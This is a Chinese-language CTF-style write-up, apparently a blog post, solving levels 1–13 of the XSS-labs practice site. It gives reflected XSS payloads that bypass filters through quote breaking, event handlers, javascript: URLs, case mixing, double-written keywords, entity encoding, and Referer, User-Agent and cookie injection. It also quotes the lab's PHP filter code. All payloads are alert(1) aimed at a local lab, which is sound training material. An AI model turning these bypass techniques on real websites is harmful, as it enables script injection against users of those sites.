XSS-labs通关挑战

1、开始页面

在这里插入图片描述

2、level 1

在这里插入图片描述
在url后面可以发现有注入点。如下:

在这里插入图片描述
在这里插入图片描述

这里出现弹窗,可以知道已经通关。

3、level 2

在这里插入图片描述
我们先按第一关思路。在方框里输入<script>alert(1)</script>,没有成功。如下:
在这里插入图片描述
在这里我发现注入点在value这里。第一点我就想到闭合标签,如果逃逸不出双引号限制,咱们啥都做不了。

闭合标签的方法:

a"><script>alert(1)</script>

在这里插入图片描述
第二关就通过了。

4、level 3

在这里插入图片描述
我们先随便注入,如下图:
在这里插入图片描述

在尝试注入后,我发现我输入的全部被实体转义了,而htmlspecialchars()没做设置,默认过滤双引号。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后注入如下:

'οnclick=alert(1)//

在这里插入图片描述
第三关通过

5、level 4

在这里插入图片描述
先尝试注入,如下:
在这里插入图片描述
我发现< >被过滤掉了。
我再次尝试注入,如下:

"οnclick=alert(1)//

在这里插入图片描述
第四关通过

6、level 5

还是老样子,看它的输出点,还是在h2上。如下图:
在这里插入图片描述
先尝试注入,如下图:
在这里插入图片描述
这里很明显,它把script标签过滤了。
这里在尝试是否可以逃逸出双引号,如下:
在这里插入图片描述
可以看到是可以逃逸出来的。
这样我们就有思路了,用a标签再次尝试注入,如下:

aaa"><a href="javascript:alert(1)">aaaaa</a>

在这里插入图片描述
到这里我们第五关就通关了

7、level 6

同样我们先尝试注入,先注入aaaa没有成功,在注入<script>alert(1)</scirpt>发现script被过滤了。如下图:
在这里插入图片描述
发现与第五关一样,所以尝试注入第五关的代码。如下:
在这里插入图片描述
发现没有成功,我们查看代码。如下:

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

发现它是把script标签、on、src、data、href都给过滤掉了。
这里无意间尝试到大写注入,发现没有被过滤。如下:

aaa"><ScRiPt>alert(1)</sCrIpT>

在这里插入图片描述
第六关通关

8、level 7

首先老样子先尝试注入。<script>alert(1)</script>,大小写,点击事件(onlick),都失败了;然后查看源码。

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

发现我们可以双写注入,如下:

aaa"oonnclick="alert(1)"

在这里插入图片描述
第七关通过。

9、level 8

先测试payload,可以看见前面几题的注入的代码、大小写等思路都被过滤的死死的。这里只能看源码了。

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

想了好久,想到了编码,然后抱着试试的心态。将javascript编码,&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;
在这里插入图片描述
抱着试试的心态,然后就第八关通过了。

这里当时我有一个疑问,什么时候能用实体编码,什么时候不能用实体编码?

总结
1、<script><style>数据只能有文本,不会有HTML解码和URL解码操作
2、<textarea><title>里会有HTML解码操作,但不会有子元素
3、其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作
4、部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII
5、JavaScript会对字符串和标识符Unicode解码,JS中不能对特殊字符进行unicode编码

10、level 9

先随便注入,发现它的链接不合法。说明失败了。这个时候又得看源码。

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

源码上说如果没有’http://',就是不合法。所以接下来的注入先尝试加入http://。
先尝试javascript:alert(1)http://。失败了,接着尝试实体编码。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116:alert(1)//http://

在这里插入图片描述
一开始没有//,发现没成功。然后我们尝试将http//注释掉,然后就成功了。
第九关通过。

11、level 10

我们先写一些值,发现只有t_sort的值写上了,所以这是一个思路。
在这里插入图片描述
先闭合将type覆盖掉,尝试注入:

http://127.0.0.1/xss-labs-master/level10.php?keyword=aaaaaa&t_history=bbbbbbb&t_sort=c" type="text"

在这里插入图片描述
发现type被覆盖了,那个文本框出来了。然后我们在它里面加入点击事件再次尝试注入:

http://127.0.0.1/xss-labs-master/level10.php?keyword=aaaaaa&t_history=bbbbbbb&t_sort=c" οnclick=alert(1) type="text"

在这里插入图片描述
注入成功,第十关通过。

12、level 11

先在url里注入值,发现只用t_sort的值注入了。文本框没有出来。
在这里插入图片描述
与第十关相似,都有隐藏标签,只是多了一个t_ref参数。
发现多了一个$str11=$_SERVER[‘HTTP_REFERER’]字段,而我们知道,HTTP_REFERER 是获取http请求中的Referer字段的,也就是我们是从哪一个页面来到现在这个页面的。我们可以使Hackbar进行修改Referer字段。
最后注入:

aaa" type="text" onclick="alert(1)

在这里插入图片描述
十一关通过。

13、level 12

发现这次的和上一关一模一样,那么思路就有了,我们直接从User-agent入手,构造代码:

user-agent" onclick="alert(1)" type="text

在这里插入图片描述

14、level 13

这里是对cookie的插入,我们要先找到cookie的键,才能进行后续的插入:user=78945612
在这里插入图片描述
从14关开始都是flash漏洞,flash漏洞已经被淘汰了。所以这里就没做。

leve1 2 闭合双引号
level 3 单引号
leve1 4 双引号
level 5标签绕过
leve1 6 大小写绕过
leve1 7 双写script绕过 扩展解析漏洞
leve1 8 encode加密绕过
level 9 ur1必须添加http://
level 10 t sort
level 11 t_ref
level 12 t_ua
leve1 13 t_cook
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

流年ꦿ

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值